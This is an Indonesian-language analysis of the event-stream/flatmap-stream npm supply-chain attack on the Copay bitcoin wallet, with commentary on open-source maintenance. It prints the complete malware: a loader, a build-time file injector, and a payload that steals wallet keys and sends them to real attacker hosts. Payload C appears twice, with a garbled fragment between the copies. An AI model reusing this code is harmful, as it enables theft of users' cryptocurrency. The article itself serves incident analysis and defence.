Pada akhir Oktober, pesan
masalah muncul di alat Node.js nodemon yang sangat populer. Masalahnya adalah bahwa peringatan berikut ini ditampilkan di konsol:
DeprecationWarning: crypto.createDecipher is deprecated
. Peringatan seperti itu tentang fitur yang sudah usang tidak jarang. Secara khusus, pesan ini terlihat sangat tidak berbahaya. Itu bahkan tidak merujuk pada proyek nodemon itu sendiri, tetapi ke salah satu ketergantungannya. Hal sepele ini bisa tetap tidak diperhatikan oleh siapa pun, karena, dalam banyak kasus, masalah seperti itu diselesaikan sendiri.

Sekitar dua minggu setelah penyebutan pertama masalah ini,
Ayrton Sparling memeriksa semuanya dan menemukan bahwa alasan peringatan itu adalah
kecanduan baru yang agak mendalam. Pesan itu datang dari sepotong kode aneh di akhir file JavaScript yang diperkecil yang tidak ada di versi perpustakaan sebelumnya dan yang, dari versi yang lebih baru, dihapus. Penelitian Ayrton membawanya ke paket npm event-stream populer, yang diunduh sekitar dua juta kali seminggu, dan hingga saat ini berada di bawah kendali pengembang open-source dengan reputasi baik.
Beberapa bulan yang lalu, manajemen aliran-acara dipindahkan ke orang lain, pengguna yang tidak dikenal yang
bertanya , melalui email, karena memberinya hak untuk menerbitkan paket. Ini dilakukan secara legal. Kemudian pengguna ini memperbarui paket stream-event, termasuk ketergantungan malware flatmap-stream dalam versi patch-nya, dan setelah itu ia menerbitkan versi utama baru dari paket tersebut tanpa ketergantungan ini. Berkat ini, dia ingin membuat perubahan itu kurang terlihat. Pengguna baru, yang mungkin lebih tertarik pada dependensi, akan menginstal versi terbaru dari event-stream (4.x pada saat penulisan ini). Dan pengguna yang proyeknya bergantung pada versi paket sebelumnya akan secara otomatis menginstal versi tambalan yang terinfeksi pada saat mereka menjalankan perintah
npm install
(ini memperhitungkan pendekatan umum untuk mengonfigurasi versi paket yang cocok untuk pembaruan).
Detail insiden
Kode flatmap-stream berbahaya dikonfigurasikan untuk bekerja dengan file data, yang, di samping beberapa baris yang sangat sepele, mengandung dua fragmen terenkripsi, yang hanya dapat didekripsi dengan mengetahui kata sandi.
! function() { try { var r = require, t = process; function e(r) { return Buffer.from(r, "hex").toString() } var n = r(e("2e2f746573742f64617461")), o = t[e(n[3])][e(n[4])]; if (!o) return; var u = r(e(n[2]))[e(n[6])](e(n[5]), o), a = u.update(n[0], e(n[8]), e(n[9])); a += u.final(e(n[9])); var f = new module.constructor; f.paths = module.paths, f[e(n[7])](a, ""), f.exports(n[1]) } catch (r) {} }();
Sebut fragmen kode ini
Payload A
Itu mencari kata sandi dalam variabel lingkungan
npm_package_description
ditetapkan oleh npm. Variabel lingkungan ini berisi deskripsi paket root, yang memungkinkan kode berbahaya hanya memengaruhi paket target tertentu. Langkah cerdas! Dalam hal ini, paket ini adalah aplikasi klien dari
dompet bitcoin Copay , dan kata sandi untuk mendekripsi kode jahat adalah ungkapan
A Secure Bitcoin Wallet (ini diungkapkan oleh pengguna
gathub maths22 ).
Setelah
Payload A
kode berhasil mendekripsi potongan data pertama, kode yang kita sebut
Payload B
dieksekusi.
module.exports = function(e) { try { if (!/build\:.*\-release/.test(process.argv[2])) return; var t = process.env.npm_package_description, r = require("fs"), i = "./node_modules/@zxing/library/esm5/core/common/reedsolomon/ReedSolomonDecoder.js", n = r.statSync(i), c = r.readFileSync(i, "utf8"), o = require("crypto").createDecipher("aes256", t), s = o.update(e, "hex", "utf8"); s = "\n" + (s += o.final("utf8")); var a = c.indexOf("\n/*@@*/"); 0 <= a && (c = c.substr(0, a)), r.writeFileSync(i, c + s, "utf8"), r.utimesSync(i, n.atime, n.mtime), process.on("exit", function() { try { r.writeFileSync(i, c, "utf8"), r.utimesSync(i, n.atime, n.mtime) } catch (e) {} }) } catch (e) {} };
Kode ini memeriksa bahwa skrip akan dijalankan secara eksklusif dengan argumen baris perintah tertentu, dengan sesuatu yang cocok dengan
build:*-release
pola
build:*-release
. Sebagai contoh, ini mungkin terlihat seperti
npm run build:ios-release
. Kalau tidak, skrip tidak dieksekusi. Eksekusi kode terbatas ini hanya untuk tiga skrip untuk membangun proyek yang digunakan di Copay. Yaitu, kita berbicara tentang skrip yang bertanggung jawab untuk membangun
versi desktop dari aplikasi dan versinya untuk iOS dan Android .
Kemudian skrip mencari ketergantungan aplikasi lain, yaitu, ia tertarik pada file
ReedSolomonDecoder.js
dari paket
@ zxing / library . Kode
Payload B
tidak menjalankan file ini. Dia hanya menyuntikkan kode
Payload C
ke dalamnya, yang menyebabkan fakta bahwa kode ini akan dieksekusi dalam aplikasi itu sendiri, ketika
ReedSolomonDecoder
dimuat. Berikut adalah kode
Payload C
.
! function() { function e() { try { var o = require("http"), a = require("crypto"), c = "-----BEGIN PUBLIC KEY-----\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAxoV1GvDc2FUsJnrAqR4C\nDXUs/peqJu00casTfH442yVFkMwV59egxxpTPQ1YJxnQEIhiGte6KrzDYCrdeBfj\nBOEFEze8aeGn9FOxUeXYWNeiASyS6Q77NSQVk1LW+/BiGud7b77Fwfq372fUuEIk\n2P/pUHRoXkBymLWF1nf0L7RIE7ZLhoEBi2dEIP05qGf6BJLHPNbPZkG4grTDv762\nPDBMwQsCKQcpKDXw/6c8gl5e2XM7wXhVhI2ppfoj36oCqpQrkuFIOL2SAaIewDZz\nLlapGCf2c2QdrQiRkY8LiUYKdsV2XsfHPb327Pv3Q246yULww00uOMl/cJ/x76To\n2wIDAQAB\n-----END PUBLIC KEY-----"; function i(e, t, n) { e = Buffer.from(e, "hex").toString(); var r = o.request({ hostname: e, port: 8080, method: "POST", path: "/" + t, headers: { "Content-Length": n.length, "Content-Type": "text/html" } }, function() {}); r.on("error", function(e) {}), r.write(n), r.end() } function r(e, t) { for (var n = "", r = 0; r < t.length; r += 200) { var o = t.substr(r, 200); n += a.publicEncrypt(c, Buffer.from(o, "utf8")).toString("hex") + "+" } i("636f7061796170692e686f7374", e, n), i("3131312e39302e3135312e313334", e, n) } function l(t, n) { if (window.cordova) try { var e = cordova.file.dataDirectory; resolveLocalFileSystemURL(e, function(e) { e.getFile(t, { create: !1 }, function(e) { e.file(function(e) { var t = new FileReader; t.onloadend = function() { return n(JSON.parse(t.result)) }, t.onerror = function(e) { t.abort() }, t.readAsText(e) }) }) }) } catch (e) {} else { try { var r = localStorage.getItem(t); if (r) return n(JSON.parse(r)) } catch (e) {} try { chrome.storage.local.get(t, function(e) { if (e) return n(JSON.parse(e[t])) }) } catch (e) {} } } global.CSSMap = {}, l("profile", function(e) { for (var t in e.credentials) { var n = e.credentials[t]; "livenet" == n.network && l("balanceCache-" + n.walletId, function(e) { var t = this; t.balance = parseFloat(e.balance.split(" ")[0]), "btc" == t.coin && t.balance < 100 || "bch" == t.coin && t.balance < 1e3 || (global.CSSMap[t.xPubKey] = !0, r("c", JSON.stringify(t))) }.bind(n)) } }); var e = require("bitcore-wallet-client/lib/credentials.js"); e.prototype.getKeysFunc = e.prototype.getKeys, e.prototype.getKeys = function(e) { var t = this.getKeysFunc(e); try { global.CSSMap && global.CSSMap[this.xPubKey] && (delete global.CSSMap[this.xPubKey], r("p", e + "\t" + this.xPubKey)) } catch (e) {} return t } } catch (e) {} } window.cordova ? document.addEventListener("deviceready", e) : e()
\ nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAxoV1GvDc2FUsJnrAqR4C \ nDXUs / peqJu00casTfH442yVFkMwV59egxxpTPQ1YJxnQEIhiGte6KrzDYCrdeBfj \ nBOEFEze8aeGn9FOxUeXYWNeiASyS6Q77NSQVk1LW + / BiGud7b77Fwfq372fUuEIk \ n2P / pUHRoXkBymLWF1nf0L7RIE7ZLhoEBi2dEIP05qGf6BJLHPNbPZkG4grTDv762 \ nPDBMwQsCKQcpKDXw / 6c8gl5e2XM7wXhVhI2ppfoj36oCqpQrkuFIOL2SAaIewDZz \ nLlapGCf2c2QdrQiRkY8LiUYKdsV2XsfHPb327Pv3Q246yULww00uOMl / CJ / x76To \ n2wIDAQAB \ n ----- END ! function() { function e() { try { var o = require("http"), a = require("crypto"), c = "-----BEGIN PUBLIC KEY-----\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAxoV1GvDc2FUsJnrAqR4C\nDXUs/peqJu00casTfH442yVFkMwV59egxxpTPQ1YJxnQEIhiGte6KrzDYCrdeBfj\nBOEFEze8aeGn9FOxUeXYWNeiASyS6Q77NSQVk1LW+/BiGud7b77Fwfq372fUuEIk\n2P/pUHRoXkBymLWF1nf0L7RIE7ZLhoEBi2dEIP05qGf6BJLHPNbPZkG4grTDv762\nPDBMwQsCKQcpKDXw/6c8gl5e2XM7wXhVhI2ppfoj36oCqpQrkuFIOL2SAaIewDZz\nLlapGCf2c2QdrQiRkY8LiUYKdsV2XsfHPb327Pv3Q246yULww00uOMl/cJ/x76To\n2wIDAQAB\n-----END PUBLIC KEY-----"; function i(e, t, n) { e = Buffer.from(e, "hex").toString(); var r = o.request({ hostname: e, port: 8080, method: "POST", path: "/" + t, headers: { "Content-Length": n.length, "Content-Type": "text/html" } }, function() {}); r.on("error", function(e) {}), r.write(n), r.end() } function r(e, t) { for (var n = "", r = 0; r < t.length; r += 200) { var o = t.substr(r, 200); n += a.publicEncrypt(c, Buffer.from(o, "utf8")).toString("hex") + "+" } i("636f7061796170692e686f7374", e, n), i("3131312e39302e3135312e313334", e, n) } function l(t, n) { if (window.cordova) try { var e = cordova.file.dataDirectory; resolveLocalFileSystemURL(e, function(e) { e.getFile(t, { create: !1 }, function(e) { e.file(function(e) { var t = new FileReader; t.onloadend = function() { return n(JSON.parse(t.result)) }, t.onerror = function(e) { t.abort() }, t.readAsText(e) }) }) }) } catch (e) {} else { try { var r = localStorage.getItem(t); if (r) return n(JSON.parse(r)) } catch (e) {} try { chrome.storage.local.get(t, function(e) { if (e) return n(JSON.parse(e[t])) }) } catch (e) {} } } global.CSSMap = {}, l("profile", function(e) { for (var t in e.credentials) { var n = e.credentials[t]; "livenet" == n.network && l("balanceCache-" + n.walletId, function(e) { var t = this; t.balance = parseFloat(e.balance.split(" ")[0]), "btc" == t.coin && t.balance < 100 || "bch" == t.coin && t.balance < 1e3 || (global.CSSMap[t.xPubKey] = !0, r("c", JSON.stringify(t))) }.bind(n)) } }); var e = require("bitcore-wallet-client/lib/credentials.js"); e.prototype.getKeysFunc = e.prototype.getKeys, e.prototype.getKeys = function(e) { var t = this.getKeysFunc(e); try { global.CSSMap && global.CSSMap[this.xPubKey] && (delete global.CSSMap[this.xPubKey], r("p", e + "\t" + this.xPubKey)) } catch (e) {} return t } } catch (e) {} } window.cordova ? document.addEventListener("deviceready", e) : e()
Payload A
dan kode
Payload B
dirancang untuk berjalan di lingkungan Node.js, di server build proyek, tetapi
Payload C
dirancang untuk berjalan di lingkungan yang menyerupai browser di bawah kendali kerangka kerja
Cordova (sebelumnya
PhoneGap ). Kerangka kerja ini memungkinkan Anda untuk mengembangkan aplikasi asli untuk berbagai platform menggunakan teknologi web - HTML, CSS dan JavaScript. Aplikasi klien Copay (serta fork proyek ini seperti
FCash ), dirancang untuk berbagai platform, dibangun menggunakan Cordova. Kepada para pelanggan inilah serangan ditujukan. Aplikasi asli ini untuk pengguna akhir Copay yang mengelola dompet Bitcoin mereka. Dompet ini menarik bagi penyerang. Script mengirim data curian ke copayapi.host dan di 111.90.151.134.
Kesimpulan yang mengecewakan
Mengembangkan apa yang baru saja kita bicarakan adalah tugas yang menakutkan. Peretasan ini membutuhkan penelitian serius dan upaya yang cukup untuk melakukan serangan. Penyerang mungkin juga memiliki opsi mundur yang akan dia gunakan jika dia tidak bisa mendapatkan kendali atas paket event-stream. Mempertimbangkan bagaimana serangan itu diatur, tampaknya masuk akal bahwa penyerang awalnya ditujukan khusus pada Copay, dan tidak hanya mendapatkan kendali atas perpustakaan populer, dan kemudian dia memikirkan apa yang harus dia lakukan dengan itu. Popularitas aliran acara menunjukkan bahwa penyerang memiliki cara mudah untuk mengakses komputer penting di ratusan perusahaan di seluruh dunia. Untungnya, ancaman itu dengan cepat terdeteksi dan dinetralkan, mengingat berapa lama itu bisa tidak diketahui, tetapi memikirkan apa yang bisa membawa kita pada kesimpulan yang jelas: open source sakit parah.
Mari kita buat daftar alasan yang menyebabkan kejadian di atas:
- Aplikasi (Copay) dibangun berdasarkan banyak dependensi berbeda, sementara pohon dependensinya tidak diblokir.
- Bahkan dengan mempertimbangkan bahwa pohon dependensi tidak diblokir, dependensi tidak di-cache, mereka diambil dari repositori di setiap build proyek.
- Ribuan proyek lain bergantung pada event-stream, mereka menggunakan konfigurasi yang sama atau serupa.
- Orang yang mendukung perpustakaan, tempat ribuan proyek bergantung, berhenti mengerjakannya.
- Ribuan proyek menggunakan perpustakaan ini secara gratis. Pada saat yang sama, diharapkan bahwa mereka akan mendukungnya tanpa kompensasi materi.
- Orang yang mendukung perpustakaan memindahkan kendali ke yang tidak diketahui hanya karena dia bertanya tentang hal itu.
- Tidak ada pemberitahuan bahwa proyek mengubah pemiliknya, dan ribuan proyek yang sama terus menggunakan paket yang sesuai.
- Bahkan, daftar ini terus dan terus ...
Menakutkan bahkan memikirkan apa yang bisa menyebabkan kerusakan yang didiskusikan oleh kita. Misalnya, proyek yang sangat serius bergantung pada aliran acara. Misalnya,
Microsoft Azure CLI . Yang rentan adalah komputer-komputer tempat mereka mengembangkan program ini, dan komputer-komputer yang digunakannya. Kode berbahaya dapat digunakan pada keduanya dan yang lainnya.
Masalahnya di sini adalah bahwa banyak proyek perangkat lunak dibangun atas dasar apa yang orang-orang yang diharapkan akan bekerja secara gratis. Mereka membuat program yang bermanfaat, mereka terlibat di dalamnya untuk beberapa waktu (atau mungkin mereka membuatnya di domain publik dan itu saja), dan mereka diharapkan untuk mendukung pengembangan mereka sampai akhir waktu. Jika ini tidak berhasil bagi mereka, maka mereka tetap tidak aktif, mengabaikan panggilan kepada mereka atau melaporkan kerentanan dalam proyek mereka (
bersalah! ), Atau hanya memberikan proyek mereka kepada orang lain, berharap mereka dapat pergi dan tidak lagi terlibat di dalamnya. Terkadang berhasil. Terkadang tidak. Tetapi tidak ada yang dapat membenarkan kerentanan itu, karena fenomena seperti itu, muncul dalam perangkat lunak. Ngomong-ngomong, bahkan deteksi masalah dengan event-stream, investigasinya dan eliminasi, terutama dilakukan oleh sukarelawan sumber terbuka, yang pekerjaannya tidak dibayar dengan cara apa pun.
Begitu banyak orang dan organisasi berbeda yang terkait dengan apa yang terjadi sehingga pencarian pelaku tertentu tidak masuk akal. Sumber terbuka sakit parah, dan semakin besar fenomena ini, semakin tinggi kemungkinan bencana. Mengingat potensi destruktif dari insiden yang dibahas di sini, beruntung bahwa tujuan penyerang hanya satu aplikasi.
Masalah serupa tidak terbatas pada Node.js atau npm. Dalam ekosistem terkait, tingkat kepercayaan yang sama tingginya tidak pantas pada orang asing diamati. Ini ada hubungannya dengan PyPi di lingkungan Python, RubyGems, dan GitHub juga. Siapa pun dapat mempublikasikan dalam layanan yang disebutkan di atas, tanpa pemberitahuan apa pun mentransfer pengelolaan proyek mereka kepada siapa pun. Dan bahkan tanpa itu, proyek modern menggunakan volume kode orang lain sedemikian rupa sehingga analisis menyeluruh akan menghentikan pekerjaan tim mana pun untuk waktu yang lama. Untuk memenuhi tenggat waktu yang ketat, pengembang menginstal apa yang mereka butuhkan, dan tim yang bertanggung jawab atas keamanan dan alat verifikasi kode otomatis tidak mengimbangi perkembangan pesat dari program yang terus berubah.
Pembaca yang budiman! Bagaimana perasaan Anda tentang kejadian stream-event baru-baru ini?
